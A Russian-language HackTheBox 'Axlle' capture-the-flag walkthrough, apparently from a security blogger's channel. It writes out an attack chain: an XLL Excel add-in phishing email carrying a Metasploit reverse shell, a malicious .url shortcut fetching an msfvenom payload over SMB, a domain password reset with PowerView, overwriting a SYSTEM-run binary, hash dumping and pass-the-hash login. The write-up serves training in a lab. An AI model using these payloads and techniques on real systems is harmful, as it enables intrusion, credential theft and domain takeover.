Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/376.

Также на https://boosty.to/kiberdruzhinnik/posts/787cf2dc-0bf0-4541-99f6-e5e91ddf3ba7 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Как и всегда, проведем первоначальное сканирование портов с помощью rustscan:

PORT     STATE SERVICE        REASON
25/tcp   open  smtp           syn-ack
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp   open  domain         syn-ack
80/tcp   open  http           syn-ack
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: FAF2C069F86E802FD21BF15DC8EDD2DC
|_http-title: Axlle Development
88/tcp   open  kerberos-sec   syn-ack
135/tcp  open  msrpc          syn-ack
139/tcp  open  netbios-ssn    syn-ack
389/tcp  open  ldap           syn-ack
445/tcp  open  microsoft-ds   syn-ack
464/tcp  open  kpasswd5       syn-ack
593/tcp  open  http-rpc-epmap syn-ack
9389/tcp open  adws           syn-ack

Host script results:
| smb2-time: 
|   date: 2024-06-23T06:22:07
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 47333/tcp): CLEAN (Timeout)
|   Check 2 (port 35630/tcp): CLEAN (Timeout)
|   Check 3 (port 61738/udp): CLEAN (Timeout)
|   Check 4 (port 24678/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 0s

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:22
Completed NSE at 06:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:22
Completed NSE at 06:22, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 43.91 seconds

Внесем домен машины себе в /etc/hosts:

$ sudo nano /etc/hosts
10.129.77.174 axlle.htb

Веб

На веб-сервисе мы видим e-mail [email protected] и сообщение о том, что мы должны отправить файл в Excel-формате. Макросы будут выключены, что осложняет нам задачу.

alt text

Однако название машины Axlle напоминает XLL фишинг.

Подготовка нагрузки

На виндовой виртуалке скачиваем проект https://github.com/edparcell/HelloWorldXll и ставим Excel 2013 SDK (https://www.microsoft.com/en-gb/download/details.aspx?id=35567).

В проекте правим путь Additional Include Directories:

alt text

И в линковщике тоже правим дополнительные пути:

alt text

Возвращаемся в Linux машину и генерируем нагрузку:

$ msfconsole
msf> use exploit/multi/script/web_delivery
msf> set payload windows/x64/meterpreter/reverse_tcp
msf> set target 2
msf> set lhost tun0
msf> set lport 4244
msf> run

После выполнения действий выше получим команду вида powershell.exe …, пример ниже.

alt text

Идем в Windows-виртуалку, находим функцию xlAutoOpen, оборачиваем полученную нагрузку в вызов system(…):

alt text

Собираем проект через Build Solution и полученный файл HelloWorldXll.xll переносим в Linux-виртуалку.

Отправляем через swaks письмо с приложенным файлом:

swaks --to [email protected] --from [email protected] --header "Subject: ws" --body "check" --attach @HelloWorldXll.xll

alt text

Ждем некоторое время и получаем шелл. Переключимся на него с помощью команды sessions -i 1.

alt text

Продвижение

После получения шелла в каталоге C:/Program Files (x86)/hMailServer/data/axlle.htb/dallon.matrix/2F находим файл {2F7523BD-628F-4359-913E-A873FCC59D0F}.eml. Это письмо с подсказкой:

Hi everyone,

The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.

We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.

Yours in click-worthy URLs,

The Web Dev Team

Мы должны положить свою нагрузку в какое-то место и разместить ссылку .url на него в каталоге C:/inetpub/testing. Нечто подобное мы делали в машине HackTheBox Mist, но с файлом ярлыка.

Создадим другую нагрузку:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4246 -f exe -o s2.exe
msfconsole -x "use exploits/multi/handler; set lhost tun0; set lport 4246; set payload windows/meterpreter/reverse_tcp; exploit"
sudo impacket-smbserver -smb2support test .

Перейдем в каталог C:/inetpub/testing и приготовим ссылку на наш сервер:

msf> cd C:/inetpub/testing
msf> powershell
powershell> $url = "file:////10.10.14.107/test/s2.exe"
powershell> $shortcutPath = "C:\inetpub\testing\s2.url"
powershell> $shortcutContent = "[InternetShortcut]`r`nURL=$url"
powershell> Set-Content -Path $shortcutPath -Value $shortcutContent

Немного подождем и увидим скачивание файла:

alt text

И практически сразу поймаем второй шелл:

alt text

Флаг пользователя

alt text

Повышение привилегий

Пробуем посмотреть в Bloodhound:

$ wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
msf> upload SharpHound.exe
powershell> SharpHound.exe
msf> download 20240623023651_BloodHound.zip

Загрузим получившийся файл в BloodHound и посмотрим на самый быстрый путь для получения админа:

alt text

Мы можем сменить пароль baz.humphries или jacob.greeny, а затем с их помощью выполнить CanPSRemote, то есть подключиться с помощью evil-winrm. Далее нам нужно найти способ выполнить DCSync.

Воспользуемся для этого PowerView.ps1:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Загрузим файл на машину, импортируем модули и сбросим пароль пользователю jacob.greeny:

msf> upload PowerView.ps1
powershell> Import-Module .\PowerView.ps1
powershell> Set-DomainUserPassword -Identity 'jacob.greeny' -AccountPassword (ConvertTo-SecureString 'SupaDupaPassword123' -AsPlainText -Force) -Verbose

Теперь мы можем подключиться как jacob.greeny с помощью evil-winrm:

evil-winrm -i axlle.htb -u jacob.greeny -p 'SupaDupaPassword123'

alt text

Теперь перейдем в каталог C:/App Development/kbfiltr и прочитаем README.md:

$ cat README.md
...
**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**
...

Если мы можем перезаписать этот файл, то получим на системе права SYSTEM. Проверим права:

powershell> cd "C:/Program Files (x86)/Windows Kits/10/Testing/StandaloneTesting/Internal/x64/"
powershell> icacls standalonerunner.exe
icacls standalonerunner.exe
standalonerunner.exe AXLLE\App Devs:(I)(RX,W)
                     Everyone:(I)(R)
                     AXLLE\Administrator:(I)(F)
                     BUILTIN\Users:(I)(R)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Administrators:(I)(F)
                     BUILTIN\Users:(I)(RX)
                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Пользователь из нашей группы может перезаписать файл standalonerunner.exe. Готовим новую нагрузку:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4250 -f exe -o standalonerunner.exe
msfconsole -x "use exploits/multi/handler; set lhost tun0; set lport 4250; set payload windows/meterpreter/reverse_tcp; exploit"

И перезаписываем файл:

upload standalonerunner.exe

Далее ловим шелл:

alt text

И дампаем хеши:

msf> hashdump 
Administrator:500:***:***:::
...

Теперь можем подключиться напрямую с помощью хеша администратора через evil-winrm:

evil-winrm -u Administrator -H *** -i axlle.htb

Флаг суперпользователя

alt text